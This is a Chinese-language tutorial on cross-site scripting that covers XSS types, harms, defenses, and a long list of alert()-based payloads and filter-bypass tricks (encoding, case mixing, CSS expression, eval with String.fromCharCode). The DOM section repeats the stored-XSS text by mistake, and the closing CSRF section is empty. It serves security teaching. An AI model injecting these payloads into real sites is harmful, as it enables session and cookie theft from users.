1. 程式人生 > 實用技巧 >xss與csrf

xss與csrf

xss原理分類及危害

xss-labs

xss構造利用及防禦

xss與csrf的區別

xss原理

跨網站指令碼(Cross-site scripting,簡稱XSS) 又稱為跨站指令碼攻擊,它是一種針對網站應用程式的安全漏洞攻擊技術,是程式碼注入的一種。XSS允許惡意使用者將程式碼注入網頁,其他使用者在瀏覽網頁時就會執行其中的惡意程式碼。惡意使用者利用XSS程式碼攻擊成功後,可能得到很高的許可權(執行操作)、私密網頁內容、會話和Cookie等各種內容。與XSS相關的攻擊型別包括Cookie竊取、會話劫持、釣魚欺騙等,這類攻擊通常包含了HTML以及使用者端指令碼語言

xss分類

  1. 反射型

    • 主要用於惡意指令碼附加到URL地址的引數中。它需要欺騙使用者自己去點選連結才能觸發XSS程式碼,一般容易出現在搜尋頁面、輸入框、URL引數處。反射型XSS大多數是用來盜取使用者的Cookie資訊。
    • 常見攻擊方式:攻擊者通過電子郵件等方式將包含XSS程式碼的惡意連結傳送給目標使用者。當目標使用者訪問該連結時,伺服器接收該使用者的請求並進行處理,然後伺服器把帶有XSS程式碼的資料傳送給目標使用者的瀏覽器,瀏覽器解析這段帶有XSS程式碼的惡意指令碼後,就會觸發XSS漏洞。
  2. 儲存型

    • 儲存型XSS又稱為持久型跨站指令碼,比反射型XSS更具威脅性,並且可能影響到Web伺服器自身安全,因為攻擊指令碼可以被永久地存放在目標伺服器的資料庫或檔案中,具有很高的隱蔽性。

    • 儲存型XSS的程式碼是儲存在伺服器中的,如在個人資訊或發表文章等地方,插入程式碼,如果沒有過濾或過濾不嚴,那麼這些程式碼將儲存到伺服器中,使用者訪問該頁面的時候觸發程式碼執行。儲存型XSS一般出現在、評論、部落格日誌等使用者互動處,這種XSS比較危險,容易造成蠕蟲、盜竊cookie等

    • 常見攻擊方法:該攻擊多見於論壇、部落格和留言板,攻擊者在發帖的過程中,將惡意指令碼連同正常資訊一起注入帖子的內容中。隨著帖子被伺服器儲存下來,惡意指令碼也永久地被存放在伺服器的後端儲存器中。當其他使用者瀏覽這個被注入了惡意指令碼的帖子時,惡意指令碼就會在他們的瀏覽器中執行相關操作

  3. dom型

    • 什麼是dom?常見攻擊方法:該攻擊多見於論壇、部落格和留言板,攻擊者在發帖的過程中,將惡意指令碼連同正常資訊一起注入帖子的內容中。隨著帖子被伺服器儲存下來,惡意指令碼也永久地被存放在伺服器的後端儲存器中。當其他使用者瀏覽這個被注入了惡意指令碼的帖子時,惡意指令碼就會在他們的瀏覽器中執行相關操作

    • DOM-XSS漏洞是基於文件物件模型的一種漏洞,不經過後端,DOM-XSS是通過url傳入引數去控制觸發的,其實也屬於反射型XSS

    • 常用攻擊方式:使用者請求一個經過專門設計的URL,它由攻擊者提交,而且其中包含XSS程式碼。伺服器的響應不會以任何形式包含攻擊者的指令碼。當用戶的瀏覽器處理這個響應時,DOM物件就會處理XSS程式碼,導致存在XSS漏洞

漏洞存在的主要原因

  1. 引數輸入未經過安全過濾
  2. 惡意指令碼被輸出到網頁
  3. 使用者的瀏覽器執行了惡意指令碼

xss危害

  1. 網路釣魚,包括盜取各類使用者賬號

  2. 竊取使用者Cookies資料,從而獲取使用者隱私資訊,或利用使用者身份進一步對網站執行操作

  3. 劫持使用者瀏覽器會話,從而執行任意 操作,例如進行非法轉賬、強制發表日誌、傳送電子郵件等

  4. 強制彈出廣告頁面、惡意刷流量等

  5. 網站掛馬進行惡意操作,例如任意篡改頁面資訊、非法獲取網站資訊、刪除檔案等

  6. 進行大量的客戶端攻擊,例如DDOS攻擊、傳播跨站指令碼蠕蟲等

  7. 獲取使用者端資訊 ,例如使用者的瀏覽記錄、真實IP地址、開放的埠等

  8. 結合其他漏洞,例如CSRF漏洞,實施進一步作惡


xss-labs

https://www.cnblogs.com/zjhzjhhh/p/14192728.html

xss構造

  1. 基本方式,利用尖括號插入js中
通過<script>標籤就能任意插入由JavaScript或VBScript編寫的惡意指令碼程式碼
 常用:
     <script>alert(/xss/)</script>
  1. 利用HTML標籤屬性值執行XSS
通過javascript:[code]偽協議形式編寫惡意指令碼
 常用:
     <table background="javascript:alert(/xss/)"></table>

     <img src="javascript:alert('xss');" >

  1. 空格回車Tab繞過過濾
注意javas和cript之間的間隔不是由空格鍵新增的,而是用Tab鍵新增的。
    <img src="javas    cript:alert(/xss/)" width=100>

使用回車分隔:
<img src="javas
cript:
alert(/xss/)" width=100>

  1. 對標籤屬性值進行轉碼
<img src="javascript:alert('xss');">
替換成: 
<img src="javascrip&#116&#58alert('xss');">
其中,t的ASCII碼值為116,用”&#116”表示,:則表示&#58。
再進一步替換:
<img src="javascrip&#000116&#00058alert('xss');">

  1. 產生事件如click、mouseover、load等
onclick="alert('xss')"

'onfocus=javascript:alert('xss') > 
	
'onmouseover=javascript:alert(1) >

  1. 利用CSS跨站過濾
<div style="background-image:url(javascript:alert('xss'))">

<style>
  body {background-image:url("javascript:alert(/xss/)");}
</style>

<div style="width:expression(alert('XSS'));">

<img src="#" style="xss:expression(alert(/xss/));">

<style>
    body {background-image: expression(alert("xss"));}
</style>

<div style="list-style-image:url(javascript:alert('XSS'));">

<div style="background-image:url(javascript:alert('XSS'));">

<img src=" javascript:alert('xss')">

<style>
    @import 'javascript:alert(/xss/)';
</style>

  1. XSS過濾規則
一個正常的XSS輸入: 
    <img src="javascript:alert(0);">

轉換大小寫後的XSS:
    <IMG SRC="javascript:alert(0);">

大小寫混淆的XSS:
    <iMg sRC="JaVasCript:alert(0);">

不用雙引號,而是使用單引號的XSS:
    <img src='javascript:alert(0);'>

不適用引號的XSS:
    <img src=javascript:alert(0);>

不需要空格的XSS:
    <img/src="javascript:alert('xss');">

構造不同的全形字元: 
    <div style="{left:expression(alert('xss'))">

利用註釋符
    <div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">

\和\0– 
    <style>
        @imp\0ort 'java\0scri\pt:alert(/xss/)';
</style>
    <style> 
        @imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
</style>

CSS關鍵字轉碼
    <div style="xss:\65xpression(alert('XSS'));"> 
    <div style="xss:\065xpression(alert('XSS'));">
    <div style="xss:\0065xpression(alert('XSS'));">
    
<!--<img src="--><img src=x οnerrοr=alert(1)//">

<comment><img src="</comment><img src=x οnerrοr=alert(1)//"> 

<style><img src=“</style><img src=x onerror=alert(1)//”>
  1. 利用字元編碼
原始語句: 
    <img src="javascript:alert('xss');">

    unicode編碼

    十進位制

    base64

    十六進位制


  1. 利用字元編碼eval()函式、eval()和string.fromCharCode()函式過濾

<script>
        eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>

<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))" >

xss防禦

xs通常是插入到各種標籤中,或者標籤的屬性中,css等,可以根據插入位置進行防禦。

  1. 輸入過濾

輸入驗證就是對使用者提交的資訊進行有效驗證,僅接受指定長度範圍內的,採用適當的內容提交,阻止或者忽略除此外的其他任何資料。如下程式碼,檢查使用者輸入的電話號碼是否真確。

  1. 輸出編碼
    對輸入的使用者資訊進行編碼,可以確保瀏覽器安全處理可能存在惡意字元,將其當做HTMl文件的內容而非結構加以處理。

  2. 標籤黑白名單過濾
    直接對輸入的資訊進行黑白名單過濾,簡單粗暴。

  3. 程式碼實體轉義
    對尖括號,大括號之類的進行轉義,輸出以後就作為一個字元,無法執行標籤。

  4. httponly
    通俗的講,httponly就是在cookie中設定了個屬性,通過js程式碼無法讀取到cookie資訊,有效防止xss


xss與scrf區別